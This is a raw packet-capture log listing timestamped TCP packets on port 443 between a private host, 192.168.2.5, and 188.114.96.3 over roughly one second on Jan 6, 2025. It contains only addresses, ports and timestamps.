Jan 6, 2025 13:56:35.278778076 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.278825998 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.278944969 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.278959036 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279001951 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279006958 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279037952 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279038906 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279058933 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279074907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279074907 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279086113 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279135942 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279135942 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279347897 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279361963 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279426098 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279429913 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279494047 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279632092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279645920 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279695988 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.279700041 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.279767990 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.288851023 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.288866997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.288947105 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.288954973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.289051056 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.289688110 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.289701939 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.289777040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.289798975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.289803028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.289840937 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.289870977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.370281935 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370300055 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370374918 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.370389938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370529890 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370548964 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370584965 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.370589972 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370623112 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.370845079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370858908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370918989 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.370925903 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.370944977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.371123075 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.371141911 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.371190071 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.371193886 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.371211052 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.371459007 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.371470928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.371512890 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.371519089 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.371546984 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.379755020 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.379790068 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.379848957 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.379857063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.379892111 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.379904985 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.380136013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.380151987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.380213976 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.380218983 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.380276918 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.380626917 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.380640030 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.380701065 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.380706072 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.380753040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.461882114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.461896896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.461976051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.461982012 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462028027 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462167978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462182045 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462230921 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462235928 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462280989 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462419033 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462431908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462487936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462491989 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462526083 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462526083 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462795973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462810040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462858915 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.462865114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.462923050 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.463064909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.463078022 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.463135958 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.463140011 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.463207006 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.465930939 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.473018885 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.473032951 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.473095894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.473100901 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.473155975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.473155975 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.473660946 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.473676920 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.473742008 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.473746061 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.473761082 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.473799944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.474232912 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.474245071 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.474294901 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.474299908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.474354982 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.475141048 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.553670883 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.553690910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.553761959 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.553770065 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.553833961 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.553844929 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.553852081 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.553868055 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.553890944 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.553915977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554224968 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554239035 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554291010 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554295063 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554320097 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554374933 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554507971 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554522038 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554567099 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554574966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554585934 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554642916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554790974 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554805040 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554874897 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554874897 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.554881096 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.554950953 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.557321072 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.564790010 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.564805031 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.564879894 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.564891100 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.564956903 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.565211058 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.565243959 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.565274000 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.565279007 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.565330029 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.565344095 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.565824032 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.565839052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.565903902 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.565908909 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.565958977 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.645486116 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645503044 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645575047 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645610094 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645616055 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.645616055 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.645653963 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645680904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.645680904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.645914078 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645925999 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.645987034 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.645994902 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.646019936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.646162987 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.646182060 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.646244049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.646244049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.646250963 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.646505117 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.646517992 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.646576881 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.646584034 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.656372070 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.656389952 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.656456947 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.656464100 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.656498909 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.656919003 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.656930923 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.656990051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.656996012 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.657442093 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.657459974 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.657533884 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.657533884 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.657541037 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737050056 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737067938 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737139940 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.737150908 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737272978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737292051 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737335920 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.737340927 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737402916 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.737593889 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737607002 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737660885 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.737667084 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.737678051 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.738008976 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.738025904 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.738061905 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.738066912 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.738094091 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.738204002 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.738214970 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.738277912 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.738277912 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.738284111 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.748014927 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.748037100 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.748109102 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.748117924 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.748409986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.748420954 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.748473883 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.748480082 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.749140978 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.749160051 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.749222040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.749228001 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.749265909 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.828752995 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.828771114 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.828845978 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.828856945 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.828923941 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.828937054 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.828944921 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829004049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829004049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829010010 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829298973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829312086 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829390049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829390049 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829396009 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829503059 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829523087 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829564095 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829569101 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829606056 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829828024 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829843044 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829884052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829899073 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829904079 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.829924107 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.829992056 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.840150118 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840166092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840257883 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.840264082 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840347052 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.840348959 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840358973 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840377092 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840409040 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.840415001 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.840451002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.840451002 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.843959093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.865367889 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.865382910 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.865457058 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.865463972 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.865547895 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.920376062 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.920393944 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.920473099 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.920480013 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.920490980 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.920540094 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.920650005 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.920670986 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.920718908 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.920725107 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.920782089 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.920994997 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921009064 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921066999 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.921073914 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921092987 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.921120882 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.921380043 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921394110 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921459913 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.921463966 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921525002 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921545029 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921546936 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.921555042 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.921583891 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.921638966 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.931608915 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.931622982 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.931703091 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.931706905 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.931775093 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.931994915 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.932008028 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.932126045 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.932131052 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.932195902 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.957463026 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.957477093 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.957535982 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.957542896 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:35.957583904 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:35.957585096 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012145042 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012161016 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012270927 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012279034 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012348890 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012381077 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012394905 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012433052 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012438059 CET	443	49986	188.114.96.3	192.168.2.5
Jan 6, 2025 13:56:36.012464046 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012481928 CET	49986	443	192.168.2.5	188.114.96.3
Jan 6, 2025 13:56:36.012654066 CET	443	49986	188.114.96.3	192.168.2.5
